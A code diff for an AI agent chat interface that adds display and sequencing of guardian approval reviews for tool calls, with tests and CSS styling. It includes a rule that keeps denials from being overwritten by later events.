} diff --git a/ui/src/pages/chat/components/chat-workspace-conflict.ts b/ui/src/pages/chat/components/chat-workspace-conflict.ts index 6c90b5afd234..e89352ac355b 100644 --- a/ui/src/pages/chat/components/chat-workspace-conflict.ts +++ b/ui/src/pages/chat/components/chat-workspace-conflict.ts @@ -95,3 +95,49 @@ export function renderWorkspaceConflictNotice(props: { `; } + +export function renderWorkspaceConflictTranscriptMessage( + conflict: WorkspaceResultConflict, + messageKey: string, + entryId?: string, +) { + const count = workspaceConflictCount(conflict); + const visible = visibleWorkspaceConflictPaths(conflict); + return html` +
+
+
+ + ${t( + count === 1 + ? "chat.workspaceConflict.eventTitleOne" + : "chat.workspaceConflict.eventTitleMany", + { count: String(count) }, + )} +
+

${t("chat.workspaceConflict.eventDescription")}

+
    + ${visible.paths.map( + (entryPath) => + html`
  • ${workspaceConflictPathForDisplay(entryPath)}
  • `, + )} +
+ ${visible.remaining > 0 + ? html`
+ ${t("chat.workspaceConflict.morePaths", { count: String(visible.remaining) })} +
` + : nothing} +
+ ${t("chat.workspaceConflict.stagedResult")} + ${conflict.stagedResultRef} +
+
+
+ `; +} diff --git a/ui/src/pages/chat/tool-stream.node.test.ts b/ui/src/pages/chat/tool-stream.node.test.ts index 74f95e8f561d..b016f3745f0b 100644 --- a/ui/src/pages/chat/tool-stream.node.test.ts +++ b/ui/src/pages/chat/tool-stream.node.test.ts @@ -1,5 +1,6 @@ // @vitest-environment node import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; +import { readToolApprovalReviews } from "../../lib/chat/tool-approval-reviews.ts"; import { buildToolStreamIdentity } from "./tool-stream-identity.ts"; import { agentEvent, @@ -246,6 +247,194 @@ describe("app-tool-stream throttled projections", () => { }); describe("app-tool-stream result blocks", () => { + it("retains out-of-order review identities and lets a result fence every older review", () => { + const host = createHost(); + const toolCallId = "call-reviewed"; + handleAgentEvent( + host, + agentEvent("run-1", 4, "tool", { + phase: "review", + toolCallId, + approvalReviewOutcome: "approved", + review: { + id: "review-b", + label: "Guardian", + status: "approved", + riskLevel: "low", + userAuthorization: "high", + rationale: "Newer live review.", + }, + }), + ); + handleAgentEvent( + host, + agentEvent("run-1", 1, "tool", { + phase: "start", + name: "exec", + toolCallId, + args: { command: "git status --short" }, + }), + ); + handleAgentEvent( + host, + agentEvent("run-1", 2, "tool", { + phase: "review", + toolCallId, + approvalReviewOutcome: "approved", + review: { + id: "review-a", + label: "Guardian", + status: "approved", + rationale: "Older snapshot review.", + }, + }), + ); + handleAgentEvent( + host, + agentEvent("run-1", 3, "tool", { + phase: "review", + toolCallId, + approvalReviewOutcome: "denied", + review: { id: "review-b", label: "Guardian", status: "denied" }, + }), + ); + + const identity = buildToolStreamIdentity("run-1", toolCallId); + const reviewed = host.toolStreamById.get(identity); + expect(readToolApprovalReviews(reviewed?.details).map((review) => review.id)).toEqual([ + "review-a", + "review-b", + ]); + expect(reviewed?.details).toMatchObject({ + approvalReviewOutcome: "approved", + }); + + handleAgentEvent( + host, + agentEvent("run-1", 5, "tool", { + phase: "result", + name: "exec", + toolCallId, + result: { details: { runtime: "native" } }, + }), + ); + handleAgentEvent( + host, + agentEvent("run-1", 3, "tool", { + phase: "review", + toolCallId, + approvalReviewOutcome: "denied", + review: { id: "review-c", label: "Guardian", status: "denied" }, + }), + ); + + const completed = host.toolStreamById.get(identity); + expect(completed?.resultReceived).toBe(true); + expect(readToolApprovalReviews(completed?.details).map((review) => review.id)).toEqual([ + "review-a", + "review-b", + ]); + expect(completed?.details).toMatchObject({ + runtime: "native", + approvalReviewOutcome: "approved", + }); + }); + + it("keeps an early denial after live review rows exceed the display cap", () => { + const host = createHost(); + const toolCallId = "call-many-reviews"; + handleAgentEvent( + host, + agentEvent("run-1", 1, "tool", { + phase: "start", + name: "exec", + toolCallId, + args: { command: "printf reviewed" }, + }), + ); + for (let index = 0; index < 18; index += 1) { + handleAgentEvent( + host, + agentEvent("run-1", index + 2, "tool", { + phase: "review", + toolCallId, + approvalReviewOutcome: "denied", + review: { + id: `review-${index}`, + label: "Guardian", + status: index === 0 ? "denied" : "approved", + }, + }), + ); + } + + const entry = host.toolStreamById.get(buildToolStreamIdentity("run-1", toolCallId)); + expect(readToolApprovalReviews(entry?.details).map((review) => review.id)).toEqual( + Array.from({ length: 16 }, (_, index) => `review-${index + 2}`), + ); + expect(entry?.details).toMatchObject({ approvalReviewOutcome: "denied" }); + }); + + it("keeps an out-of-order denial after newer reviews fill the display cap", () => { + const host = createHost(); + const toolCallId = "call-out-of-order-denial"; + handleAgentEvent( + host, + agentEvent("run-1", 1, "tool", { + phase: "start", + name: "exec", + toolCallId, + args: { command: "printf reviewed" }, + }), + ); + for (let index = 0; index < 16; index += 1) { + handleAgentEvent( + host, + agentEvent("run-1", index + 3, "tool", { + phase: "review", + toolCallId, + approvalReviewOutcome: "approved", + review: { + id: `newer-review-${index}`, + label: "Guardian", + status: "approved", + }, + }), + ); + } + handleAgentEvent( + host, + agentEvent("run-1", 2, "tool", { + phase: "review", + toolCallId, + approvalReviewOutcome: "denied", + review: { id: "older-denied-review", label: "Guardian", status: "denied" }, + }), + ); + + const identity = buildToolStreamIdentity("run-1", toolCallId); + const reviewed = host.toolStreamById.get(identity); + expect(readToolApprovalReviews(reviewed?.details).map((review) => review.id)).toEqual( + Array.from({ length: 16 }, (_, index) => `newer-review-${index}`), + ); + expect(reviewed?.details).toMatchObject({ approvalReviewOutcome: "denied" }); + + handleAgentEvent( + host, + agentEvent("run-1", 19, "tool", { + phase: "result", + name: "exec", + toolCallId, + approvalReviewOutcome: "approved", + result: { details: { runtime: "native", approvalReviewOutcome: "approved" } }, + }), + ); + expect(host.toolStreamById.get(identity)?.details).toMatchObject({ + runtime: "native", + approvalReviewOutcome: "denied", + }); + }); + it("projects live edit counts and lets the resolved result replace them without flicker", () => { useToolStreamFakeTimers(); try { diff --git a/ui/src/pages/chat/tool-stream.ts b/ui/src/pages/chat/tool-stream.ts index d571c1e68b67..7e542901606e 100644 --- a/ui/src/pages/chat/tool-stream.ts +++ b/ui/src/pages/chat/tool-stream.ts @@ -10,7 +10,16 @@ import type { ChatGuardianNotice, ChatQueueItem, ChatStreamSegment, + ToolApprovalReview, } from "../../lib/chat/chat-types.ts"; +import { + MAX_TOOL_APPROVAL_REVIEWS, + normalizeToolApprovalReview, + readToolApprovalReviewOutcome, + readToolApprovalReviews, + resolveToolApprovalReviewOutcome, + withToolApprovalReviews, +} from "../../lib/chat/tool-approval-reviews.ts"; import type { DiffStat } from "../../lib/chat/tool-call-diff.ts"; import { formatUiError, formatUiExternalText } from "../../lib/format-error.ts"; import { formatUnknownText, truncateText } from "../../lib/format.ts"; @@ -271,6 +280,7 @@ function buildToolStreamMessage(entry: ToolStreamEntry): Record type: "toolcall", name: entry.name, arguments: entry.args ?? {}, + ...(entry.details !== undefined ? { details: entry.details } : {}), }); // Emit the result block whenever a result landed, even with empty output; // otherwise a completed no-stdout command keeps its running state in the UI. @@ -359,25 +369,57 @@ export function resetToolStream(host: ToolStreamHost) { // until snapshot reconciliation observes the approval leaving the queue. } -function activityEventIdentity(payload: AgentEventPayload): string | null { - if (payload.stream === "tool") { - const toolCallId = toTrimmedString(payload.data?.toolCallId); - return toolCallId ? `tool:${payload.runId}:${toolCallId}` : null; - } - if (payload.stream === "item" && payload.data?.kind === "preamble") { - const itemId = - toTrimmedString(payload.data?.itemId) ?? toTrimmedString(payload.data?.id) ?? "latest"; - return `preamble:${payload.runId}:${itemId}`; - } - return null; +function toolActivityIdentity(runId: string, toolCallId: string): string { + return `tool:${JSON.stringify([runId, toolCallId])}`; +} + +function toolReviewSequenceIdentity(ownerIdentity: string, reviewId: string): string { + return `${ownerIdentity}:review:${JSON.stringify(reviewId)}`; } function acceptActivityEvent(host: ToolStreamHost, payload: AgentEventPayload): boolean { - const identity = activityEventIdentity(payload); - if (!identity) { + const seq = Number.isSafeInteger(payload.seq) ? payload.seq : 0; + if (payload.stream === "tool") { + const toolCallId = toTrimmedString(payload.data?.toolCallId); + if (!toolCallId) { + return true; + } + const ownerIdentity = toolActivityIdentity(payload.runId, toolCallId); + const terminalIdentity = `${ownerIdentity}:result`; + const terminalSeq = host.activityEventSeqById?.get(terminalIdentity); + const phase = toTrimmedString(payload.data?.phase); + if (phase !== "result" && terminalSeq !== undefined && seq <= terminalSeq) { + return false; + } + const reviewId = + phase === "review" ? toTrimmedString(readRecord(payload.data.review)?.id) : undefined; + const reviewFloor = host.activityEventSeqById?.get(`${ownerIdentity}:review-floor`); + if (reviewId && reviewFloor !== undefined && seq <= reviewFloor) { + return false; + } + const identity = reviewId ? toolReviewSequenceIdentity(ownerIdentity, reviewId) : ownerIdentity; + const previous = host.activityEventSeqById?.get(identity); + if (previous !== undefined && seq <= previous) { + return false; + } + const sequences = (host.activityEventSeqById ??= new Map()); + sequences.set(identity, seq); + if (phase === "result") { + sequences.set(terminalIdentity, seq); + for (const key of sequences.keys()) { + if (key.startsWith(`${ownerIdentity}:review:`)) { + sequences.delete(key); + } + } + } return true; } - const seq = Number.isSafeInteger(payload.seq) ? payload.seq : 0; + if (payload.stream !== "item" || payload.data?.kind !== "preamble") { + return true; + } + const itemId = + toTrimmedString(payload.data.itemId) ?? toTrimmedString(payload.data.id) ?? "latest"; + const identity = `preamble:${payload.runId}:${itemId}`; const previous = host.activityEventSeqById?.get(identity); if (previous !== undefined && seq <= previous) { return false; @@ -904,13 +946,21 @@ function handleGuardianEvent(host: ToolStreamHost, payload: AgentEventPayload): const kind = phase === "warning" ? "warning" - : phase === "completed" && (status === "approved" || status === "denied") - ? status - : null; + : phase === "completed" && status === "approved" + ? "approved" + : phase === "completed" && ["denied", "timedOut", "aborted"].includes(status ?? "") + ? "denied" + : null; if (!kind) { return true; } const reviewId = toTrimmedString(data.reviewId) ?? String(payload.seq); + const targetItemId = toTrimmedString(data.targetItemId); + if (phase === "completed" && targetItemId) { + // Targeted decisions arrive again as generic tool-review metadata. Keep + // vendor notices only as the compatibility fallback for targetless reviews. + return true; + } const command = toTrimmedString(data.command); const riskLevel = toTrimmedString(data.riskLevel); const rationale = toTrimmedString(data.rationale); @@ -934,6 +984,52 @@ function handleGuardianEvent(host: ToolStreamHost, payload: AgentEventPayload): return true; } +function applyToolReviewEvent( + host: ToolStreamHost, + payload: AgentEventPayload, + entry: ToolStreamEntry, + review: ToolApprovalReview, +) { + const toolCallId = entry.toolCallId; + const ownerIdentity = toolActivityIdentity(payload.runId, toolCallId); + const sequences = (host.activityEventSeqById ??= new Map()); + const sequenceFor = (candidate: ToolApprovalReview) => + sequences.get(toolReviewSequenceIdentity(ownerIdentity, candidate.id)) ?? 0; + const reviewFloorKey = `${ownerIdentity}:review-floor`; + const currentReviews = readToolApprovalReviews(entry.details); + const newestReviewSeq = Math.max( + sequences.get(reviewFloorKey) ?? 0, + ...currentReviews.map(sequenceFor), + ); + const reviews = [ + ...currentReviews.filter((candidate) => candidate.id !== review.id), + review, + ].toSorted((left, right) => sequenceFor(left) - sequenceFor(right)); + const evicted = reviews.slice(0, -MAX_TOOL_APPROVAL_REVIEWS); + const retainedReviews = reviews.slice(-MAX_TOOL_APPROVAL_REVIEWS); + if (evicted.length > 0) { + sequences.set( + reviewFloorKey, + Math.max(sequences.get(reviewFloorKey) ?? 0, ...evicted.map(sequenceFor)), + ); + for (const candidate of evicted) { + sequences.delete(toolReviewSequenceIdentity(ownerIdentity, candidate.id)); + } + } + const reportedOutcome = readToolApprovalReviewOutcome(payload.data); + const derivedOutcome = resolveToolApprovalReviewOutcome(retainedReviews); + const currentOutcome = readToolApprovalReviewOutcome(entry.details); + const nextOutcome = + currentOutcome === "denied" ? "denied" : (reportedOutcome ?? derivedOutcome ?? undefined); + entry.details = withToolApprovalReviews( + entry.details, + retainedReviews, + nextOutcome && payload.seq >= newestReviewSeq ? nextOutcome : currentOutcome, + ); + entry.message = buildToolStreamMessage(entry); + scheduleToolStreamSync(host, true); +} + export function handleAgentEvent(host: ToolStreamHost, payload?: AgentEventPayload): boolean { if (!payload) { return false; @@ -1012,6 +1108,10 @@ export function handleAgentEvent(host: ToolStreamHost, payload?: AgentEventPaylo const toolStreamIdentity = buildToolStreamIdentity(payload.runId, toolCallId); let entry = host.toolStreamById.get(toolStreamIdentity); const phase = typeof data.phase === "string" ? data.phase : ""; + const approvalReview = phase === "review" ? normalizeToolApprovalReview(data.review) : null; + if (phase === "review" && !approvalReview) { + return true; + } // A started call owns its concrete identity even when later events omit or // contradict it; an unnamed placeholder can still adopt its first real name. const name = @@ -1029,6 +1129,11 @@ export function handleAgentEvent(host: ToolStreamHost, payload?: AgentEventPaylo ? formatToolOutput(data.result) : undefined; const resultDetails = phase === "result" ? readRecord(data.result)?.details : undefined; + const resultApprovalReviewOutcome = + readToolApprovalReviewOutcome(data) ?? readToolApprovalReviewOutcome(resultDetails); + const initialResultDetails = resultApprovalReviewOutcome + ? withToolApprovalReviews(resultDetails, [], resultApprovalReviewOutcome) + : resultDetails; const resultIsError = phase === "result" && typeof data.isError === "boolean" ? data.isError : undefined; const resultRecord = phase === "result" ? readRecord(data.result) : undefined; @@ -1053,7 +1158,7 @@ export function handleAgentEvent(host: ToolStreamHost, payload?: AgentEventPaylo name, args, output: output || undefined, - ...(resultDetails !== undefined ? { details: resultDetails } : {}), + ...(initialResultDetails !== undefined ? { details: initialResultDetails } : {}), ...(resultIsError !== undefined ? { isError: resultIsError } : {}), ...(exitCode !== undefined ? { exitCode } : {}), ...(liveDiffStat ? { liveDiffStat } : {}), @@ -1072,8 +1177,14 @@ export function handleAgentEvent(host: ToolStreamHost, payload?: AgentEventPaylo if (output !== undefined) { entry.output = output || undefined; } - if (resultDetails !== undefined) { - entry.details = resultDetails; + if (resultDetails !== undefined || resultApprovalReviewOutcome) { + const currentOutcome = readToolApprovalReviewOutcome(entry.details); + const outcome = + currentOutcome === "denied" ? "denied" : (resultApprovalReviewOutcome ?? currentOutcome); + const reviews = readToolApprovalReviews(entry.details); + entry.details = reviews.length + ? withToolApprovalReviews(resultDetails, reviews, outcome) + : initialResultDetails; } if (resultIsError !== undefined) { entry.isError = resultIsError; @@ -1090,6 +1201,11 @@ export function handleAgentEvent(host: ToolStreamHost, payload?: AgentEventPaylo } } + if (approvalReview) { + trimToolStream(host); + applyToolReviewEvent(host, payload, entry, approvalReview); + return true; + } entry.message = buildToolStreamMessage(entry); trimToolStream(host); scheduleToolStreamSync(host, phase === "result"); diff --git a/ui/src/styles/chat/tool-cards.css b/ui/src/styles/chat/tool-cards.css index fd170d260db1..31a4280edf4c 100644 --- a/ui/src/styles/chat/tool-cards.css +++ b/ui/src/styles/chat/tool-cards.css @@ -1092,6 +1092,30 @@ white-space: nowrap; } +.chat-activity-group__review-status { + display: inline-flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.chat-activity-group__review-status svg { + width: 15px; + height: 15px; +} + +.chat-activity-group__review-status[data-outcome="approved"] { + color: var(--ok); +} + +.chat-activity-group__review-status[data-outcome="denied"] { + color: var(--danger); +} + +.chat-activity-group__review-status[data-outcome="reviewing"] { + color: var(--warn); +} + /* Parent and child rows share one icon/text grid; order and whitespace carry hierarchy without shrinking the available command width. */ .chat-activity-group__body { @@ -2167,6 +2191,85 @@ openclaw-tooltip.chat-tasks-status__preview { } } +.chat-tool-reviews { + display: grid; + gap: 4px; + margin: 4px 8px 8px 24px; +} + +.chat-tool-review { + padding: 7px 10px; + border-left: 2px solid color-mix(in srgb, var(--ok) 48%, var(--border)); + background: linear-gradient(90deg, var(--ok-subtle), transparent 68%); +} + +.chat-tool-review[data-review-status="denied"], +.chat-tool-review[data-review-status="timed_out"], +.chat-tool-review[data-review-status="aborted"] { + border-left-color: color-mix(in srgb, var(--danger) 48%, var(--border)); + background: linear-gradient(90deg, var(--danger-subtle), transparent 68%); +} + +.chat-tool-review[data-review-status="in_progress"] { + border-left-color: color-mix(in srgb, var(--warn) 48%, var(--border)); + background: linear-gradient(90deg, var(--warn-subtle), transparent 68%); +} + +.chat-tool-review__header { + display: flex; + align-items: center; + flex-wrap: wrap; + gap: 6px; + min-width: 0; +} + +.chat-tool-review__icon { + display: inline-flex; + flex: 0 0 auto; + color: var(--ok); +} + +.chat-tool-review[data-review-status="denied"] .chat-tool-review__icon, +.chat-tool-review[data-review-status="timed_out"] .chat-tool-review__icon, +.chat-tool-review[data-review-status="aborted"] .chat-tool-review__icon { + color: var(--danger); +} + +.chat-tool-review[data-review-status="in_progress"] .chat-tool-review__icon { + color: var(--warn); +} + +.chat-tool-review__icon svg { + width: 14px; + height: 14px; +} + +.chat-tool-review__label { + color: var(--text); + font-size: 11px; + font-weight: 700; +} + +.chat-tool-review__chip { + padding: 1px 6px; + border: 1px solid var(--border-strong); + border-radius: var(--radius-full); + color: var(--muted); + background: color-mix(in srgb, var(--bg-elevated) 70%, transparent); + font-size: 10px; + font-weight: 600; + text-transform: lowercase; +} + +.chat-tool-review__rationale { + margin: 4px 0 0 20px; + color: var(--text); + font-size: 11px; + line-height: 1.45; + white-space: pre-wrap; + overflow-wrap: anywhere; +} + @media (max-width: 560px) { .chat-tool-card__block-content { max-height: min(360px, 55vh);